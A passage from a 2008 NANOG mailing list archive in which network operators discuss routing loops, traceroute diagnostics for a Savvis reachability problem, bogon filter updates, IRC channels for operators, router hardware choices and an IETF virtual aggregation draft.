ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms >> 13.019 ms >> >> Thanks! >> >> William >> >> >> > > From mike at rockynet.com Fri Jul 18 21:42:09 2008 From: mike at rockynet.com (Mike Lewinski) Date: Fri, 18 Jul 2008 20:42:09 -0600 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <620fd17c0807181925pa30c53dneb7fd161047d6dfb@mail.gmail.com> References: <620fd17c0807181925pa30c53dneb7fd161047d6dfb@mail.gmail.com> Message-ID: <48815481.9040006@rockynet.com> Paul Wall wrote: > Isn't that what a routing loop is, when it loops back out to the > transit/interface from which it entered? Of course. I think the sensitivity comes in to whether the diagnosis "routing loop" is one of the cause or effect. I.E. "this routing loop appears to show a network problem" vs "this routing loop is THE problem" Loops could happen due to human error in creating duplicate static routes, which would often be the ISP's responsibility to fix. They can also happen when the end-user takes their network down for maintenance, which is something the ISP can't usually fix (short of providing a naildown to prevent the loop from appearing, which doesn't really "fix" anything). I've been the recipient of angry emails accusing us of incompetence in cases where the customer had taken their network down intentionally. So we started putting in naildowns anywhere that might be likely to happen. From Guy_Shields at Stream.Com Fri Jul 18 21:33:12 2008 From: Guy_Shields at Stream.Com (Guy_Shields at Stream.Com) Date: Fri, 18 Jul 2008 21:33:12 -0500 Subject: Ubiquity<->Mzima routing loop Message-ID: No, a true routing loop will transit several hops and end back up at the same routers. A bouncing route between 2 routers is usually a directly connected route on an interface that goes down thereby "pulling" the route with out a nail down route it will send unkown route back out its default gateway. ----- Original Message ----- From: "Paul Wall" [pauldotwall at gmail.com] Sent: 07/18/2008 10:25 PM AST To: Guy Shields Cc: nanog Subject: Re: Ubiquity<->Mzima routing loop Isn't that what a routing loop is, when it loops back out to the transit/interface from which it entered? Paul On Fri, Jul 18, 2008 at 7:07 PM, wrote: > This is not a routing loop. It is simply a route that was not tied down via a static route to NULL with a weight of 254. > > > ----- Original Message ----- > From: "Paul Wall" [pauldotwall at gmail.com] > Sent: 07/18/2008 06:57 PM AST > To: "William Pitcock" > Cc: nanog at merit.edu > Subject: Re: Ubiquity<->Mzima routing loop > > > > I'd like to rip on Mzima as much as the next guy, but I'm not sure how > they could "fix" this routing loop, shy of some creative ACLs. > > You should try contacting Ubiquity, as this traceroute looks like an > issue on their (Mzima's customer's) side. > > Paul Wall > > On Fri, Jul 18, 2008 at 3:27 PM, William Pitcock > wrote: >> Hi, >> >> Can someone at Ubiquity or Mzima fix this routing loop: >> >> traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte >> packets >> 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms >> 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms >> 15.964 ms >> 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 >> ms 14.838 ms >> 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms >> 16.497 ms >> 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 >> ms 14.745 ms >> 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms >> 8.758 ms >> 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * >> 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms >> 4.381 ms >> 9 * * * >> 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms >> 4.914 ms >> 11 * * * >> 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms >> 14.438 ms >> 13 * * * >> 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms >> 3.770 ms >> 15 * * * >> 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms >> 13.897 ms >> 17 * * * >> 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms >> 8.668 ms >> 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms >> 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms >> 8.545 ms >> 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms >> 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms >> 8.913 ms >> 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * >> 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms >> 15.736 ms >> 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 >> ms >> 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms >> 10.752 ms >> 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 >> ms * >> 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms >> 3.823 ms >> 29 * * * >> 30 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms >> 13.019 ms >> >> Thanks! >> >> William >> >> >> > > From rsena at mitre.org Fri Jul 18 21:56:41 2008 From: rsena at mitre.org (Sena, Rich) Date: Fri, 18 Jul 2008 22:56:41 -0400 Subject: Ubiquity<->Mzima routing loop Message-ID: Man it's been awhile... "Godwin..." errr maybe it's "Nazi" - or perhaps "Boursey" damn how do we stop this again?!?! Please only reply if you remember the magic word to make this thread stop! -- via the Blackberry Xpress! ----- Original Message ----- From: Guy_Shields at Stream.Com To: Paul Wall Cc: nanog Sent: Fri Jul 18 22:33:12 2008 Subject: Re: Ubiquity<->Mzima routing loop No, a true routing loop will transit several hops and end back up at the same routers. A bouncing route between 2 routers is usually a directly connected route on an interface that goes down thereby "pulling" the route with out a nail down route it will send unkown route back out its default gateway. ----- Original Message ----- From: "Paul Wall" [pauldotwall at gmail.com] Sent: 07/18/2008 10:25 PM AST To: Guy Shields Cc: nanog Subject: Re: Ubiquity<->Mzima routing loop Isn't that what a routing loop is, when it loops back out to the transit/interface from which it entered? Paul On Fri, Jul 18, 2008 at 7:07 PM, wrote: > This is not a routing loop. It is simply a route that was not tied down via a static route to NULL with a weight of 254. > > > ----- Original Message ----- > From: "Paul Wall" [pauldotwall at gmail.com] > Sent: 07/18/2008 06:57 PM AST > To: "William Pitcock" > Cc: nanog at merit.edu > Subject: Re: Ubiquity<->Mzima routing loop > > > > I'd like to rip on Mzima as much as the next guy, but I'm not sure how > they could "fix" this routing loop, shy of some creative ACLs. > > You should try contacting Ubiquity, as this traceroute looks like an > issue on their (Mzima's customer's) side. > > Paul Wall > > On Fri, Jul 18, 2008 at 3:27 PM, William Pitcock > wrote: >> Hi, >> >> Can someone at Ubiquity or Mzima fix this routing loop: >> >> traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte >> packets >> 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms >> 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms >> 15.964 ms >> 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 >> ms 14.838 ms >> 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms >> 16.497 ms >> 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 >> ms 14.745 ms >> 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms >> 8.758 ms >> 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * >> 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms >> 4.381 ms >> 9 * * * >> 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms >> 4.914 ms >> 11 * * * >> 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms >> 14.438 ms >> 13 * * * >> 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms >> 3.770 ms >> 15 * * * >> 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms >> 13.897 ms >> 17 * * * >> 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms >> 8.668 ms >> 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms >> 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms >> 8.545 ms >> 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms >> 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms >> 8.913 ms >> 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * >> 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms >> 15.736 ms >> 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 >> ms >> 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms >> 10.752 ms >> 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 >> ms * >> 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms >> 3.823 ms >> 29 * * * >> 30 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms >> 13.019 ms >> >> Thanks! >> >> William >> >> >> > > From LarrySheldon at cox.net Fri Jul 18 22:04:51 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Fri, 18 Jul 2008 22:04:51 -0500 Subject: Ubiquity<->Mzima routing loop In-Reply-To: References: Message-ID: <488159D3.9020201@cox.net> Sena, Rich wrote: > Man it's been awhile... > > "Godwin..." errr maybe it's "Nazi" - or perhaps "Boursey" damn how do > we stop this again?!?! > > Please only reply if you remember the magic word to make this thread > stop! I think it is several words: No operational discussions on NANOG. -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From robt at cymru.com Sat Jul 19 12:01:42 2008 From: robt at cymru.com (Rob Thomas) Date: Sat, 19 Jul 2008 12:01:42 -0500 Subject: Bogon Filter Update Request In-Reply-To: <200807181601.m6IG1Jc4053468@academ.com> References: <200807181601.m6IG1Jc4053468@academ.com> Message-ID: <48821DF6.5070201@cymru.com> Hi, team. *IF* you are going to enact bogon filters, please also consider automated management of bogon filters, which you can find here: Thanks! Rob. Stan Barber wrote: > Greetings NANOGers, > > Yes, I know it has been many years since I have been more than a lurker here > on the NANOG list. It is gratifying to see the group continue to facilitate > discussions among those that "get it done" in keeping the Internet up and > running. > > Recently, I have moved back into a more operational role and I hope to > renew my involvement here as I settle back in. > > So, to the point of my note: Bogon filter updates! > > I want to tell you that I am very appreciative of those operators out there > that follow the changes in status of IP space and keep there BOGON filters > updated. Unfortunately, it appears that there are many that are not > doing this regularly. I have been working on getting BOGON filter updates > for the 174/8 space (IANA allocated this to ARIN back in February) with > upwards of 35 providers (some of the Tier 1 providers are among these) > over the last several weeks. > > Please help me (and others who are getting allocations) by reviewing your > BOGON filters and insure you are really filtering out BOGONs and not > space that is allocated. If you need a pointer, the authorataive list > is maintained at http://www.iana.org/assignments/ipv4-address-space. > > Thanks for your attention and I hope to see some of you at an upcoming NANOG > meeting. > > Stan Barber > sob at academ.com (called "the other SOB on the Internet" by Scott Bradner > many years ago in his first column for Network World magazine) > -- Rob Thomas Team Cymru The WHO and WHY team http://www.team-cymru.org/ From michael.dillon at bt.com Sat Jul 19 14:26:33 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Sat, 19 Jul 2008 20:26:33 +0100 Subject: SBCglobal routing loop. In-Reply-To: <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> Message-ID: > > Anyone from sbcglobal out there? i'm seeing a routing > loop. Please > > contact me off list thanks. > What did your upstream transit supplier advise before you > escalated this to the global audience at NANOG? > This is the second time in 24hrs you have requested > assistance here which could have been handled via other methods. Sounds like he's used to used IRC, not mailing lists. There used to be an IRC channel where a lot of NANOG folks hung out. Anyone care to publicize the channel name and which IRC network carries it? --Michael Dillon From joelja at bogus.com Sat Jul 19 14:33:20 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 19 Jul 2008 12:33:20 -0700 Subject: SBCglobal routing loop. In-Reply-To: References: Message-ID: <48824180.9010602@bogus.com> michael.dillon at bt.com wrote: > Sounds like he's used to used IRC, not mailing lists. > There used to be an IRC channel where a lot of NANOG > folks hung out. Anyone care to publicize the channel > name and which IRC network carries it? > > --Michael Dillon from the nanog mailing list... From: "Tim Brown" <> To: "Matthew McGehrin" <> Cc: <> Sent: Tuesday, June 22, 2004 12:17 PM Subject: Re: real-time DDoS help? > First and foremost, the #nanog IRC channel has absolutely nothing to > do with the nanog mailing list, other than it shares some common > personalities. Operational discussion is rarely experienced, the most > often-experienced relevant question is "how do I configure BGP", and > Secondly and perhaps most notably, IRC is in no way, shape, or form a > protocol or communications method one would describe as resilient or > operationally relevant. Neither are the instant messaging networks or > Jabber servers. IRC does not meet the "needs" of operators. > Describing these needs is a separate topic and probably not > appropriate for this mailing list, even though you could describe the > topic as operationally relevant. From trelane at trelane.net Sat Jul 19 14:34:39 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Sat, 19 Jul 2008 15:34:39 -0400 Subject: SBCglobal routing loop. In-Reply-To: References: Message-ID: <488241CF.4000304@trelane.net> michael.dillon at bt.com wrote: >>> Anyone from sbcglobal out there? i'm seeing a routing >>> >> loop. Please >> >>> contact me off list thanks. >>> > > >> What did your upstream transit supplier advise before you >> escalated this to the global audience at NANOG? >> This is the second time in 24hrs you have requested >> assistance here which could have been handled via other methods. >> > > Sounds like he's used to used IRC, not mailing lists. > There used to be an IRC channel where a lot of NANOG > folks hung out. Anyone care to publicize the channel > name and which IRC network carries it? > > --Michael Dillon > > There's a #nanog on EFNet, and a #nanog on Freenode. I'd recommend the Freenode NANOG as EFNet is pretty well overrun with kiddies. Andrew From michael.dillon at bt.com Sat Jul 19 14:44:31 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Sat, 19 Jul 2008 20:44:31 +0100 Subject: SBCglobal routing loop. In-Reply-To: <48824180.9010602@bogus.com> Message-ID: > > Sounds like he's used to used IRC, not mailing lists. > > There used to be an IRC channel where a lot of NANOG folks > hung out. > > Anyone care to publicize the channel name and which IRC network > > carries it? > from the nanog mailing list... > Sent: Tuesday, June 22, 2004 12:17 PM > > First and foremost, the #nanog IRC channel has absolutely > nothing to > do with the nanog mailing list, other than it > shares some common > personalities. Which IRC network? There are dozens of IRC networks and although you can find channels with the same name on different networks, they rarely share common personalities. In any case, I would expect that an IRC channel would contain mostly front-line NOC people, and except for the smaller networks where one person wears many hats, I would not expect to find such people hanging out on the NANOG list. Now, perhaps #nanog is not the channel I am thinking of, in which case I think it would be a good idea for someone with first hand experience to post the channel or channels which do cover this type of stuff. Same thing goes for Jabber channels or any other IM network. Is there a place where frontline network operators hang out, where it is not frowned upon to ask operational questions about events in progress? --Michael Dillon From simon at slimey.org Sat Jul 19 14:50:53 2008 From: simon at slimey.org (Simon Lockhart) Date: Sat, 19 Jul 2008 20:50:53 +0100 Subject: SBCglobal routing loop. In-Reply-To: References: <48824180.9010602@bogus.com> Message-ID: <20080719195053.GL1391@virtual.bogons.net> On Sat Jul 19, 2008 at 08:44:31PM +0100, michael.dillon at bt.com wrote: > Is there a place where frontline > network operators hang out, where it is not frowned upon to > ask operational questions about events in progress? There are many. I suspect some are more public than others (but I don't have a list, so don't bother asking!). The most useful ones tend to be "by invite only", otherwise they just get full of people asking inane questions, and the useful people get bored and go elsewhere. Simon From bmannella at teraswitch.com Sat Jul 19 21:36:17 2008 From: bmannella at teraswitch.com (Brendan Mannella) Date: Sat, 19 Jul 2008 22:36:17 -0400 (EDT) Subject: Savvis Related Routing Issue In-Reply-To: <1054191130.80401216521126137.JavaMail.root@mail1.teraswitch.com> Message-ID: <173288839.80421216521377806.JavaMail.root@mail1.teraswitch.com> Hello, I am seeing a really weird routing issue. I have customers who are having trouble connecting to hosts on the internet. The common item seems to be Savvis. orange:~>traceroute mail.tecumsehherald.com traceroute to mail.tecumsehherald.com (64.14.74.42) 1 204.16.245.97 (204.16.245.97) 0.580 ms 0.800 ms 1.020 ms 2 204.16.241.225 (204.16.241.225) 0.496 ms 0.478 ms 0.699 ms 3 64.209.102.233 (64.209.102.233) 7.177 ms 7.420 ms 7.417 ms 4 te1-3-10g.ar2.DCA3.gblx.net (67.17.108.145) 7.630 ms 7.870 ms 8.105 ms 5 * * * 6 * * * Hop 5 is a Savvis router. Now if i go to Global Crossings looking glass and run a trace from their DC router to the same host, it makes it. 1 64.214.14.161 (64.214.14.161) 0.457 ms 0.429 ms 2 te7-1-10G.ar2.DCA3.gblx.net (67.17.109.34) 1.401 ms 1.658 ms 3 savvis-1.ar2.DCA3.gblx.net (64.212.107.26) 1.567 ms 1.339 ms 4 ber1-tenge-2-1.virginiaequinix.savvis.net (204.70.193.6) 1.586 ms 1.511 ms 5 cr1-tengig0-7-2-0.washington.savvis.net (204.70.197.242) 2.367 ms 2.547 ms 6 cr1-pos-0-0-0-0.boston.savvis.net (204.70.193.177) 15.163 ms 15.836 ms 7 hr1-pos-1-0-0.Waltham2bo2.savvis.net (208.172.51.66) 11.702 ms 11.780 ms 8 csr1-ve242.Waltham1bo1.savvis.net (64.14.70.19) 12.202 ms 11.728 ms 9 64.14.67.130 (64.14.67.130) 11.570 ms 11.592 ms 10 ns2.s426.sureserver.com (64.14.74.42) 11.811 ms 11.927 ms Now to top it all of, if i run a trace to the 64.14.74.41, instead of 64.14.74.42 it works... agg1.pit#traceroute 64.14.74.41 Type Control-c to abort Tracing the route to IP node 64.14.74.41 from 1 to 30 hops 1 <1 ms <1 ms <1 ms 204.16.241.225 2 7 ms 7 ms 6 ms 64.209.102.233 3 7 ms 6 ms 6 ms te1-3-10g.ar2.DCA3.gblx.net [67.17.108.145] 4 6 ms 6 ms 6 ms savvis-1.ar2.DCA3.gblx.net [64.212.107.26] 5 45 ms 6 ms 7 ms ber1-tenge-2-1.virginiaequinix.savvis.net [204.70.193.6] 6 14 ms 14 ms 15 ms cr1-tengig0-7-2-0.washington.savvis.net [204.70.197.242] 7 21 ms 22 ms 23 ms cr1-pos-0-0-0-0.boston.savvis.net [204.70.193.177] 8 20 ms 19 ms 20 ms hr1-pos-1-0-0.Waltham2bo2.savvis.net [208.172.51.66] 9 19 ms 20 ms 19 ms csr1-ve242.Waltham1bo1.savvis.net [64.14.70.19] 10 20 ms 19 ms 19 ms 64.14.67.130 11 20 ms 20 ms 20 ms s426.sureserver.com [64.14.74.41] Does anyone have and ideas? Thanks, Brendan From Valdis.Kletnieks at vt.edu Sat Jul 19 21:52:01 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 19 Jul 2008 22:52:01 -0400 Subject: Ubiquity<->Mzima routing loop In-Reply-To: Your message of "Fri, 18 Jul 2008 21:33:12 CDT." References: Message-ID: <24105.1216522321@turing-police.cc.vt.edu> On Fri, 18 Jul 2008 21:33:12 CDT, Guy_Shields at Stream.Com said: > No, a true routing loop will transit several hops and end back up at the same > routers. Out of curiosity, what's the biggest loop anybody's come across? I see plenty of "two adjacent routers pointing at each other", and the occasional 3-router loop and the rare 4-router loop. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From blackham at gmail.com Sat Jul 19 21:58:16 2008 From: blackham at gmail.com (Kevin Blackham) Date: Sat, 19 Jul 2008 20:58:16 -0600 Subject: Line rate gigabit router/switch options In-Reply-To: <20080717235729.D33A44500E@ptavv.es.net> References: <20080717235729.D33A44500E@ptavv.es.net> Message-ID: If you don't need a full table or 10G, a sup32 6503 chassis bundle is very affordable. 8 sfp and 1 copper port for about 9k after discount. - Original message - > Date: Thu, 17 Jul 2008 16:17:12 -0400 > From: "Brant I. Stevens" wrote: >> Date: Thu, 17 Jul 2008 16:17:12 -0400 >> From: "Brant I. Stevens" >> >> What about a 6524 switch? Or a Juniper EX 4200? > > 6524? Sounds like a bit of overkill to me. > > As far as the EX4200, it might do the job in a bit, but, as of the > latest JunOS release, too many features are supported for us to use them > as full-function routers. Maybe in a release or two (late this year), > they will be ready. The hardware is most impressive. > > Note that they will not handle full routes. I believe that they do about > 12K routes, so they may be fine for you application. They do all of the > "standard" protocols, but they don't so MPLS yet. I'm not quite sure > when this will make it into JunOS. > > I'm quite impressed with the potential of this box and, as a layer 2 > switch, they run very well. Just some serious limitations for layer > 3. > -- > R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) > Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: > oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C > 9BA3 14A4 EADA 927D EBB3 987B 3751 > -- Sent from Gmail for mobile | mobile.google.com From bmannella at teraswitch.com Sat Jul 19 21:53:00 2008 From: bmannella at teraswitch.com (Brendan Mannella) Date: Sat, 19 Jul 2008 22:53:00 -0400 (EDT) Subject: Savvis Related Routing Issue In-Reply-To: <200807200253.m6K2rKf3029195@parsley.amaranth.net> Message-ID: <1137919542.80481216522380613.JavaMail.root@mail1.teraswitch.com> My setup is fairly simple, i dont really know where to look... M7i border routers, one with a Fast-E to Mizma and GLBX and one with Sprint Fast-E, they both run IBGP with BI4k (jetCore), out to L2s. I have seen this issue across both the Mzima link and the GLBX link, the only common thing with them is they are on the same router and 4 port PIC card, and they both travel via a L2 MPLS link to Ashburn, VA via the same transport provider. Brendan ----- Original Message ----- From: "Daniel Senie" To: "Brendan Mannella" Sent: Saturday, July 19, 2008 10:53:12 PM GMT -05:00 US/Canada Eastern Subject: Re: Savvis Related Routing Issue The fact that changing the target IP address by one changes things makes me think you may have a multi-wire trunking setup between some Ethernet switches, and that trunking is spreading load based on hashing IP addresses. Look close to home, or in your link to your upstream as likely places for this. Might not be your issue, but I've seen this kind of thing before, and found the issue in switch-to-switch trunking or the equivalent in multi-circuit load balancing between routers (e.g. multiple T1's between two routers, where ML-PPP should have been used, and wasn't). At 10:36 PM 7/19/2008, you wrote: >Hello, > >I am seeing a really weird routing issue. I have customers who are >having trouble connecting to hosts on the internet. The common item >seems to be Savvis. > >orange:~>traceroute mail.tecumsehherald.com >traceroute to mail.tecumsehherald.com (64.14.74.42) >1 204.16.245.97 (204.16.245.97) 0.580 ms 0.800 ms 1.020 ms >2 204.16.241.225 (204.16.241.225) 0.496 ms 0.478 ms 0.699 ms >3 64.209.102.233 (64.209.102.233) 7.177 ms 7.420 ms 7.417 ms >4 te1-3-10g.ar2.DCA3.gblx.net (67.17.108.145) 7.630 ms 7.870 ms 8.105 ms >5 * * * >6 * * * > >Hop 5 is a Savvis router. > >Now if i go to Global Crossings looking glass and run a trace from >their DC router to the same host, it makes it. > >1 64.214.14.161 (64.214.14.161) 0.457 ms 0.429 ms >2 te7-1-10G.ar2.DCA3.gblx.net (67.17.109.34) 1.401 ms 1.658 ms >3 savvis-1.ar2.DCA3.gblx.net (64.212.107.26) 1.567 ms 1.339 ms >4 ber1-tenge-2-1.virginiaequinix.savvis.net (204.70.193.6) 1.586 ms 1.511 ms >5 cr1-tengig0-7-2-0.washington.savvis.net (204.70.197.242) 2.367 ms 2.547 ms >6 cr1-pos-0-0-0-0.boston.savvis.net (204.70.193.177) 15.163 ms 15.836 ms >7 hr1-pos-1-0-0.Waltham2bo2.savvis.net (208.172.51.66) 11.702 ms 11.780 ms >8 csr1-ve242.Waltham1bo1.savvis.net (64.14.70.19) 12.202 ms 11.728 ms >9 64.14.67.130 (64.14.67.130) 11.570 ms 11.592 ms >10 ns2.s426.sureserver.com (64.14.74.42) 11.811 ms 11.927 ms > >Now to top it all of, if i run a trace to the 64.14.74.41, instead >of 64.14.74.42 it works... > >agg1.pit#traceroute 64.14.74.41 >Type Control-c to abort >Tracing the route to IP node 64.14.74.41 from 1 to 30 hops > >1 <1 ms <1 ms <1 ms 204.16.241.225 >2 7 ms 7 ms 6 ms 64.209.102.233 >3 7 ms 6 ms 6 ms te1-3-10g.ar2.DCA3.gblx.net [67.17.108.145] >4 6 ms 6 ms 6 ms savvis-1.ar2.DCA3.gblx.net [64.212.107.26] >5 45 ms 6 ms 7 ms ber1-tenge-2-1.virginiaequinix.savvis.net [204.70.193.6] >6 14 ms 14 ms 15 ms cr1-tengig0-7-2-0.washington.savvis.net [204.70.197.242] >7 21 ms 22 ms 23 ms cr1-pos-0-0-0-0.boston.savvis.net [204.70.193.177] >8 20 ms 19 ms 20 ms hr1-pos-1-0-0.Waltham2bo2.savvis.net [208.172.51.66] >9 19 ms 20 ms 19 ms csr1-ve242.Waltham1bo1.savvis.net [64.14.70.19] >10 20 ms 19 ms 19 ms 64.14.67.130 >11 20 ms 20 ms 20 ms s426.sureserver.com [64.14.74.41] > >Does anyone have and ideas? > >Thanks, > >Brendan From francis at cs.cornell.edu Sun Jul 20 07:46:53 2008 From: francis at cs.cornell.edu (Paul Francis) Date: Sun, 20 Jul 2008 08:46:53 -0400 Subject: virtual aggregation in IETF Message-ID: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> Gang, I have submitted an internet-draft to the IDR group on virtual aggregation (VA) (http://www.ietf.org/internet-drafts/draft-francis-idr-intra-va-00.txt). This draft suggests a few changes to routers that allow operators to control the size of their FIBs, shrinking them by 5x or 10x quite easily. This would extend the lifetime of routers that are constrained by FIB size. There has been a lively discussion of this on the IDR mailing list, including a suggestion that FIB reduction is more important for lower tier ISPs (tier 2, tier 3...) than for tier 1 ISPs. Unfortunately I don't think that people from smaller ISPs pay much attention to the IDR mailing list, so they are not being represented in this discussion. So I'm looking for input from folks who think that FIB reduction helps them, so as to better understand their requirements. Any help is much appreciated. Thanks, PF From alain_durand at cable.comcast.com Sun Jul 20 08:12:41 2008 From: alain_durand at cable.comcast.com (Alain Durand) Date: Sun, 20 Jul 2008 09:12:41 -0400 Subject: virtual aggregation in IETF In-Reply-To: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> Message-ID: Paul, Can this proposal be applied to IS-IS (or other IGP) as well as BGP? - Alain. On 7/20/08 8:46 AM, "Paul Francis" wrote: > Gang, > > I have submitted an internet-draft to the IDR group on virtual aggregation > (VA) (http://www.ietf.org/internet-drafts/draft-francis-idr-intra-va-00.txt). > This draft suggests a few changes to routers that allow operators to control > the size of their FIBs, shrinking them by 5x or 10x quite easily. This would > extend the lifetime of routers that are constrained by FIB size. > > There has been a lively discussion of this on the IDR mailing list, including > a suggestion that FIB reduction is more important for lower tier ISPs (tier > 2, tier 3...) than for tier 1 ISPs. Unfortunately I don't think that people > from smaller ISPs pay much attention to the IDR mailing list, so they are not > being represented in this discussion. > > So I'm looking for input from folks who think that FIB reduction helps them, > so as to better understand their requirements. > > Any help is much appreciated. > > Thanks, > > PF > > > From francis at cs.cornell.edu Sun Jul 20 09:12:13 2008 From: francis at cs.cornell.edu (Paul Francis) Date: Sun, 20 Jul 2008 10:12:13 -0400 Subject: virtual aggregation in IETF In-Reply-To: References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> Message-ID: <37BC8961A005144C8F5B8E4AD226DE1109D952@EXCHANGE2.cs.cornell.edu> Certainly in principle it can, though that is not in the current proposal. The basic idea is to suppress installing routes into the FIB when there is a "virtual aggregate" that you can tunnel to instead. I remember we discussed this in San Jose NANOG, but I forget the details. Can you remind me? PF > -----Original Message----- > From: Alain Durand [mailto:alain_durand at cable.comcast.com] > Sent: Sunday, July 20, 2008 9:13 AM > To: Paul Francis; nanog at nanog.org > Subject: Re: virtual aggregation in IETF > > Paul, > > Can this proposal be applied to IS-IS (or other IGP) as well as BGP? > > - Alain. > > > On 7/20/08 8:46 AM, "Paul Francis" wrote: > > > Gang, > > > > I have submitted an internet-draft to the IDR group on virtual > aggregation > > (VA) (http://www.ietf.org/internet-drafts/draft-francis-idr-intra-va- > 00.txt). > > This draft suggests a few changes to routers that allow operators to > control > > the size of their FIBs, shrinking them by 5x or 10x quite easily. > This would > > extend the lifetime of routers that are constrained by FIB size. > > > > There has been a lively discussion of this on the IDR mailing list, > including > > a suggestion that FIB reduction is more important for lower tier ISPs > (tier > > 2, tier 3...) than for tier 1 ISPs. Unfortunately I don't think that > people > > from smaller ISPs pay much attention to the IDR mailing list, so they > are not > > being represented in this discussion. > > > > So I'm looking for input from folks who think that FIB reduction > helps them, > > so as to better understand their requirements. > > > > Any help is much appreciated. > > > > Thanks, > > > > PF > > > > > > > From joelja at bogus.com Sun Jul 20 11:27:41 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 20 Jul 2008 09:27:41 -0700 Subject: virtual aggregation in IETF In-Reply-To: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> References: <37BC8961A005144C8F5B8E4AD226DE1109D951@EXCHANGE2.cs.cornell.edu> Message-ID: <4883677D.5060509@bogus.com> Paul Francis wrote: > Gang, > > I have submitted an internet-draft to the IDR group on virtual aggregation > (VA) (http://www.ietf.org/internet-drafts/draft-francis-idr-intra-va-00.txt). > This draft suggests a few changes to routers that allow operators to control > the size of their FIBs, shrinking them by 5x or 10x quite easily. This would > extend the lifetime of routers that are constrained by FIB 